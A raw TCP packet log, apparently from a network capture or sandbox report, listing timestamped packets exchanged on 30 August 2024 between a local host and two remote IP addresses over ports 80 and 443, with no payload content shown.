Aug 30, 2024 06:17:04.574954033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.574980021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575031996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575100899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575114965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575123072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575134039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575143099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575154066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575164080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575165033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575165033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575177908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575203896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575393915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575403929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575412035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575423002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575432062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575442076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575443029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575452089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575460911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575467110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575468063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575470924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575479984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575490952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575500011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575508118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575508118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575509071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575526953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575529099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575540066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575553894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575553894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575573921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575653076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575661898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575670004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575674057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575683117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575699091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575720072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575731993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575803041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575814009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575822115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575831890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575835943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575850010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575865030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575867891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575867891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575875998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575882912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575884104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575895071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575902939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575913906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575925112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575933933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575939894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575939894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575939894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575944901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575953960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575961113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575963974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575973988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.575983047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.575988054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576014042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576014042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576049089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576191902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576312065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576323032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576330900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576342106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576351881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576364040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576375008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576383114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.576389074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576389074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576406002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.576430082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.623183966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623248100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623287916 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623284101 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623347044 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623383045 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623383999 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623383045 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623413086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623425007 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623450994 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623467922 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623533010 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623569012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623581886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623589993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.623608112 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.623625040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.625344038 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.625360966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.625390053 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.625396013 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.625418901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.625447989 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626091003 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626106024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626133919 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626169920 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626176119 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626183033 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626209974 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626291990 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626310110 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626357079 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626363993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626404047 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626476049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626526117 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626530886 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626557112 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626573086 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626573086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626586914 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626599073 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626648903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626648903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626669884 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626719952 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.626725912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.626773119 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.629317045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629328012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629338980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629348993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629359961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629370928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629380941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629389048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.629390001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.629390001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.629407883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.629419088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662611008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662621021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662630081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662640095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662648916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662658930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662671089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662674904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662708044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662708044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662729025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662739992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662749052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662759066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662769079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662787914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662802935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662802935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662919998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662934065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662944078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662952900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662962914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662971973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662976027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.662981033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.662988901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663003922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663007021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663007021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663012981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663024902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663027048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663042068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663048029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663057089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663067102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663077116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663078070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663089991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663095951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663095951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663100004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663122892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663141012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663199902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663211107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663219929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663232088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663242102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663250923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663250923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663263083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663264990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663273096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663283110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663285017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663311958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663311958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663518906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663532972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663541079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663549900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663561106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663573027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663580894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663609028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663609028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663657904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663667917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663676023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663685083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663693905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663705111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663712978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663713932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663719893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663724899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.663748980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663748980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.663784981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664001942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664011002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664020061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664030075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664040089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664062977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664062977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664104939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664150953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664160967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664169073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664179087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664189100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664197922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664203882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664215088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664232969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664232969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664253950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664308071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664318085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664326906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664339066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664346933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664355040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664356947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664366007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664375067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664376974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664385080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664401054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664401054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664427996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664453030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664463043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664470911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664485931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664496899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664500952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664522886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664535046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664776087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664784908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664793968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664804935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664813995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664828062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664855957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.664961100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664971113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664978981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664989948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.664999008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665009022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665011883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665018082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665028095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665034056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665036917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665061951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665061951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665074110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665271044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665278912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665291071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665301085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665329933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665329933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665366888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665421963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665431023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665440083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665447950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665457010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665476084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665476084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665505886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665580988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665591002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665599108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665608883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665618896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665628910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.665635109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665642977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.665678978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704302073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704313040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704322100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704358101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704375982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704448938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704459906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704468012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704478979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704493046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704499960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704502106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704513073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.704519033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.704524040 CEST	80	49735	147.45.44.104	192.168.2.4
